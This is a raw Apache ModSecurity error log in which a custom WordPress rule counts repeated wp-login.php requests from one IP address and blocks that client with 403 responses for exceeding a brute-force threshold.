[Fri Feb 27 20:53:57.284714 2026] [:error] [pid 56075:tid 56100] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT5cKBhrfI6KNv9RisbwAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:00.076583 2026] [:error] [pid 56075:tid 56086] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT6MKBhrfI6KNv9RiseQAAAAk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:01.433873 2026] [:error] [pid 56075:tid 56102] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT6cKBhrfI6KNv9RisfgAAABg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:04.074510 2026] [:error] [pid 56075:tid 56084] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT7MKBhrfI6KNv9RishwAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:05.304095 2026] [:error] [pid 56075:tid 56096] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT7cKBhrfI6KNv9RislAAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:07.912483 2026] [:error] [pid 56075:tid 56100] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT78KBhrfI6KNv9RisogAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:09.121531 2026] [:error] [pid 56075:tid 56098] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT8cKBhrfI6KNv9RisqgAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:11.673758 2026] [:error] [pid 56075:tid 56095] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT88KBhrfI6KNv9RisxAAAABE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:12.853947 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT9MKBhrfI6KNv9RiszQAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:15.429540 2026] [:error] [pid 56075:tid 56092] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT98KBhrfI6KNv9Ris3AAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:16.666971 2026] [:error] [pid 56075:tid 56101] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT-MKBhrfI6KNv9Ris4AAAABc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:19.211086 2026] [:error] [pid 56075:tid 56083] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT-8KBhrfI6KNv9Ris5wAAAAY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:20.427923 2026] [:error] [pid 56075:tid 56082] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT_MKBhrfI6KNv9Ris6gAAAAU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:20.427996 2026] [:error] [pid 56075:tid 56082] [client 159.203.62.100:57392] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT_MKBhrfI6KNv9Ris6gAAAAU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:22.855158 2026] [:error] [pid 49306:tid 49326] [client 159.203.62.100:33592] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGT_vnSUDZue59Px9sFawAAAVI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:24.150018 2026] [:error] [pid 49306:tid 49318] [client 159.203.62.100:33592] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUAPnSUDZue59Px9sFbwAAAUo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:26.831007 2026] [:error] [pid 49306:tid 49329] [client 159.203.62.100:33592] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUAvnSUDZue59Px9sFdwAAAVU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:28.112106 2026] [:error] [pid 49306:tid 49322] [client 159.203.62.100:33592] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUBPnSUDZue59Px9sFeQAAAU4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:29.395604 2026] [:error] [pid 49306:tid 49327] [client 159.203.62.100:33592] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGUBfnSUDZue59Px9sFegAAAVM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:30.230567 2026] [:error] [pid 54103:tid 54191] [client 159.203.62.100:41136] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGUBuvG4MPCmE0B2sCfJwAAANQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:31.110676 2026] [:error] [pid 56075:tid 56100] [client 159.203.62.100:41150] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGUB8KBhrfI6KNv9RitFAAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:31.966781 2026] [:error] [pid 62998:tid 63001] [client 159.203.62.100:41156] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGUB1QeueXZDUmoLok9FwAAAQA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:32.823000 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:41172] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUCMKBhrfI6KNv9RitIAAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:35.432847 2026] [:error] [pid 56075:tid 56093] [client 159.203.62.100:41172] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUC8KBhrfI6KNv9RitLgAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:36.666075 2026] [:error] [pid 56075:tid 56099] [client 159.203.62.100:41172] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUDMKBhrfI6KNv9RitNwAAABU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:39.197107 2026] [:error] [pid 56075:tid 56095] [client 159.203.62.100:41172] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUD8KBhrfI6KNv9RitQwAAABE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:40.399154 2026] [:error] [pid 56075:tid 56087] [client 159.203.62.100:41172] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUEMKBhrfI6KNv9RitTQAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:40.399265 2026] [:error] [pid 56075:tid 56087] [client 159.203.62.100:41172] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUEMKBhrfI6KNv9RitTQAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:42.722703 2026] [:error] [pid 54103:tid 54177] [client 159.203.62.100:38856] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUEuvG4MPCmE0B2sCfNwAAAMY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:43.938637 2026] [:error] [pid 54103:tid 54194] [client 159.203.62.100:38856] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUE-vG4MPCmE0B2sCfOAAAANc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:46.490823 2026] [:error] [pid 54103:tid 54179] [client 159.203.62.100:38856] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUFuvG4MPCmE0B2sCfOwAAAMg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:47.759774 2026] [:error] [pid 54103:tid 54191] [client 159.203.62.100:38856] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUF-vG4MPCmE0B2sCfPAAAANQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:51.822910 2026] [:error] [pid 54103:tid 54193] [client 159.203.62.100:38856] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUG-vG4MPCmE0B2sCfQAAAANY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:52.983343 2026] [:error] [pid 54103:tid 54185] [client 159.203.62.100:38856] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUHOvG4MPCmE0B2sCfQwAAAM4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:55.535400 2026] [:error] [pid 54103:tid 54190] [client 159.203.62.100:38856] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUH-vG4MPCmE0B2sCfRgAAANM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:56.722775 2026] [:error] [pid 54103:tid 54173] [client 159.203.62.100:38856] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUIOvG4MPCmE0B2sCfRwAAAMI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:54:59.229915 2026] [:error] [pid 54103:tid 54170] [client 159.203.62.100:38856] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUI-vG4MPCmE0B2sCfSwAAAMA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:00.454210 2026] [:error] [pid 54103:tid 54174] [client 159.203.62.100:38856] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUJOvG4MPCmE0B2sCfTAAAAMM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:03.213074 2026] [:error] [pid 54103:tid 54177] [client 159.203.62.100:38856] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUJ-vG4MPCmE0B2sCfTwAAAMY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:04.450687 2026] [:error] [pid 54103:tid 54194] [client 159.203.62.100:38856] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUKOvG4MPCmE0B2sCfUAAAANc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:07.070805 2026] [:error] [pid 54103:tid 54188] [client 159.203.62.100:38856] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUK-vG4MPCmE0B2sCfVQAAANE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:08.232116 2026] [:error] [pid 54103:tid 54172] [client 159.203.62.100:38856] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGULOvG4MPCmE0B2sCfWAAAAME"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:10.751433 2026] [:error] [pid 54103:tid 54183] [client 159.203.62.100:38856] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGULuvG4MPCmE0B2sCfXAAAAMw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:12.840458 2026] [:error] [pid 54103:tid 54183] [client 159.203.62.100:38856] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUMOvG4MPCmE0B2sCfXgAAAMw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:15.433007 2026] [:error] [pid 54103:tid 54184] [client 159.203.62.100:38856] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUM-vG4MPCmE0B2sCfYQAAAM0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:16.696836 2026] [:error] [pid 54103:tid 54192] [client 159.203.62.100:38856] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUNOvG4MPCmE0B2sCfYgAAANU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:19.311059 2026] [:error] [pid 54103:tid 54186] [client 159.203.62.100:38856] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUN-vG4MPCmE0B2sCfZQAAAM8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:20.653559 2026] [:error] [pid 54103:tid 54176] [client 159.203.62.100:38856] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUOOvG4MPCmE0B2sCfZgAAAMU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:20.653622 2026] [:error] [pid 54103:tid 54176] [client 159.203.62.100:38856] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUOOvG4MPCmE0B2sCfZgAAAMU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:24.367568 2026] [:error] [pid 52073:tid 52085] [client 159.203.62.100:51188] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUPIa650YPyxXVeRY44AAAAYk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:25.908940 2026] [:error] [pid 52073:tid 52085] [client 159.203.62.100:51188] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUPYa650YPyxXVeRY46wAAAYk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:28.534591 2026] [:error] [pid 52073:tid 52092] [client 159.203.62.100:51188] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUQIa650YPyxXVeRY4_QAAAZA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:28.534657 2026] [:error] [pid 52073:tid 52092] [client 159.203.62.100:51188] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUQIa650YPyxXVeRY4_QAAAZA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:29.384858 2026] [:error] [pid 56075:tid 56095] [client 159.203.62.100:58586] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGUQcKBhrfI6KNv9RiujgAAABE"], referer: https://gigfragments.org/wp-login.php
